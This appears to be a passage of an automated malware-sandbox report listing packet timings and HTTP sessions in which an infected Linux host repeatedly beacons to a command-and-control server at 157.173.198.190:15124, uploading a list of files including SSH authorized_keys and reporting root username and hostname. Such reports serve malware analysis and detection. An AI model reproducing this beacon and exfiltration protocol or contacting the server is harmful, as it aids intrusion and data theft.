Sep 30, 2024 12:00:12.763147116 CEST	54564	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:12.763672113 CEST	54564	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:12.768416882 CEST	15124	54564	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:14.213582993 CEST	15124	54564	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:14.214171886 CEST	54564	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:14.219057083 CEST	15124	54564	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:24.224838018 CEST	54566	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:24.229855061 CEST	15124	54566	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:24.229916096 CEST	54566	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:24.230226994 CEST	54566	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:24.235021114 CEST	15124	54566	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:25.702281952 CEST	15124	54566	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:25.702529907 CEST	54566	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:25.707540989 CEST	15124	54566	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:35.317678928 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 30, 2024 12:00:35.714646101 CEST	54568	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:35.719629049 CEST	15124	54568	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:35.719691038 CEST	54568	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:35.720022917 CEST	54568	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:35.724838972 CEST	15124	54568	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:37.165469885 CEST	15124	54568	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:37.165755033 CEST	54568	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:37.170663118 CEST	15124	54568	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:47.176532984 CEST	54570	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:47.181552887 CEST	15124	54570	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:47.181648970 CEST	54570	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:47.182122946 CEST	54570	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:47.186945915 CEST	15124	54570	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:48.635420084 CEST	15124	54570	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:48.635869980 CEST	54570	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:48.635934114 CEST	54570	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:48.640774012 CEST	15124	54570	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:58.650084019 CEST	54572	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:58.655102015 CEST	15124	54572	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:58.655190945 CEST	54572	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:58.655899048 CEST	54572	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:58.660702944 CEST	15124	54572	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:00.124625921 CEST	15124	54572	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:00.125221014 CEST	54572	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:00.130095005 CEST	15124	54572	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:10.134622097 CEST	54574	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:10.139656067 CEST	15124	54574	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:10.139748096 CEST	54574	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:10.140268087 CEST	54574	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:10.145107031 CEST	15124	54574	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:11.602350950 CEST	15124	54574	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:11.602982044 CEST	54574	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:11.607852936 CEST	15124	54574	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:21.611588001 CEST	54576	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:22.496999025 CEST	15124	54576	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:22.497178078 CEST	54576	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:22.498615026 CEST	54576	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:22.503467083 CEST	15124	54576	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:23.946368933 CEST	15124	54576	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:23.946943045 CEST	54576	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:23.947112083 CEST	54576	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:23.951921940 CEST	15124	54576	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:33.958192110 CEST	54578	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:33.963076115 CEST	15124	54578	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:33.963149071 CEST	54578	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:33.963707924 CEST	54578	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:33.968468904 CEST	15124	54578	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:35.431931973 CEST	15124	54578	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:35.432476044 CEST	54578	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:35.438282013 CEST	15124	54578	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:45.444242001 CEST	54580	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:45.449165106 CEST	15124	54580	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:45.449265003 CEST	54580	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:45.449878931 CEST	54580	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:45.455389977 CEST	15124	54580	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:46.900702953 CEST	15124	54580	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:46.901170015 CEST	54580	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:46.906898022 CEST	15124	54580	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:56.913640976 CEST	54582	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:56.918591022 CEST	15124	54582	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:56.918677092 CEST	54582	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:56.919147968 CEST	54582	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:56.923927069 CEST	15124	54582	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:58.389756918 CEST	15124	54582	157.173.198.190	192.168.2.23
Sep 30, 2024 12:01:58.390109062 CEST	54582	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:01:58.394958019 CEST	15124	54582	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:08.394623041 CEST	54584	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:08.399544954 CEST	15124	54584	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:08.399701118 CEST	54584	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:08.400268078 CEST	54584	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:08.405009031 CEST	15124	54584	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:09.854979038 CEST	15124	54584	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:09.855545998 CEST	54584	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:09.860371113 CEST	15124	54584	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:19.866220951 CEST	54586	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:19.870974064 CEST	15124	54586	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:19.871071100 CEST	54586	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:19.871468067 CEST	54586	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:19.876245975 CEST	15124	54586	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:21.324687958 CEST	15124	54586	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:21.325134039 CEST	54586	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:21.330159903 CEST	15124	54586	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:31.336179972 CEST	54588	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:31.342286110 CEST	15124	54588	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:31.342385054 CEST	54588	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:31.342978954 CEST	54588	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:31.347760916 CEST	15124	54588	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:32.813394070 CEST	15124	54588	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:32.813685894 CEST	54588	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:32.819461107 CEST	15124	54588	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:42.821248055 CEST	54590	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:42.826255083 CEST	15124	54590	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:42.826318979 CEST	54590	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:42.826714039 CEST	54590	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:42.832115889 CEST	15124	54590	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:44.277137041 CEST	15124	54590	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:44.277472973 CEST	54590	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:44.282375097 CEST	15124	54590	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:54.285629988 CEST	54592	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:54.290494919 CEST	15124	54592	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:54.290580988 CEST	54592	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:54.291346073 CEST	54592	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:54.296485901 CEST	15124	54592	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:55.729146004 CEST	15124	54592	157.173.198.190	192.168.2.23
Sep 30, 2024 12:02:55.729820013 CEST	54592	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:02:55.734679937 CEST	15124	54592	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:05.741601944 CEST	54594	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:05.746514082 CEST	15124	54594	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:05.746629000 CEST	54594	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:05.747122049 CEST	54594	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:05.752031088 CEST	15124	54594	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:07.206168890 CEST	15124	54594	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:07.206705093 CEST	54594	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:07.212491989 CEST	15124	54594	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:17.217250109 CEST	54596	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:17.222085953 CEST	15124	54596	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:17.222146988 CEST	54596	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:17.222739935 CEST	54596	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:17.227638960 CEST	15124	54596	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:18.705142975 CEST	15124	54596	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:18.705519915 CEST	54596	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:18.710331917 CEST	15124	54596	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:28.709378004 CEST	54598	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:28.720963001 CEST	15124	54598	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:28.721016884 CEST	54598	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:28.721405983 CEST	54598	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:28.726639986 CEST	15124	54598	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:30.201562881 CEST	15124	54598	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:30.201786041 CEST	54598	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:30.206687927 CEST	15124	54598	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:40.212094069 CEST	54600	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:40.217076063 CEST	15124	54600	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:40.217143059 CEST	54600	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:40.217514038 CEST	54600	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:40.222378016 CEST	15124	54600	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:41.684442043 CEST	15124	54600	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:41.685075998 CEST	54600	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:41.689979076 CEST	15124	54600	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:51.697662115 CEST	54602	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:51.702543974 CEST	15124	54602	157.173.198.190	192.168.2.23
Sep 30, 2024 12:03:51.702640057 CEST	54602	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:51.703282118 CEST	54602	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:03:51.708058119 CEST	15124	54602	157.173.198.190	192.168.2.23

HTTP Request Dependency Graph

157.173.198.190:15124

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	54556	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 11:59:35.903156042 CEST	564	OUT	POST /api/root_245842932284287/upload HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 269 Content-Type: multipart/form-data; boundary=0cab8ce8f52f4905853cf8e5cb943139 Data Raw: 2d 2d 30 63 61 62 38 63 65 38 66 35 32 66 34 39 30 35 38 35 33 63 66 38 65 35 63 62 39 34 33 31 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 65 64 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 74 78 74 22 0d 0a 0d 0a 2e 2f 2e 62 61 73 68 72 63 0a 2e 2f 2e 70 72 6f 66 69 6c 65 0a 2e 2f 2e 73 73 68 2f 61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 0a 2e 2f 2e 63 6f 6e 66 69 67 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 2e 2f 2e 76 69 6d 69 6e 66 6f 0a 2e 2f 2e 6c 6f 63 61 6c 2f 73 68 61 72 65 2f 61 70 70 6c 69 63 61 74 69 6f 6e 73 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 0d 0a 2d 2d 30 63 61 62 38 63 65 38 66 35 32 66 34 39 30 35 38 35 33 63 66 38 65 35 63 62 39 34 33 31 33 39 2d 2d 0d 0a Data Ascii: --0cab8ce8f52f4905853cf8e5cb943139Content-Disposition: form-data; name="uploaded"; filename="list.txt"./.bashrc./.profile./.ssh/authorized_keys./.config/mimeapps.list./.viminfo./.local/share/applications/mimeapps.list--0cab8ce8f52f4905853cf8e5cb943139--

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	54558	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 11:59:38.346888065 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	54560	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 11:59:49.823805094 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	54562	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:00:01.291022062 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	54564	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:00:12.763672113 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	54566	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:00:24.230226994 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	54568	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:00:35.720022917 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	54570	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:00:47.182122946 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	54572	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:00:58.655899048 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	54574	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:01:10.140268087 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	54576	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:01:22.498615026 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	54578	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:01:33.963707924 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	54580	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:01:45.449878931 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	54582	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:01:56.919147968 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	54584	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:02:08.400268078 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	54586	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:02:19.871468067 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	54588	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
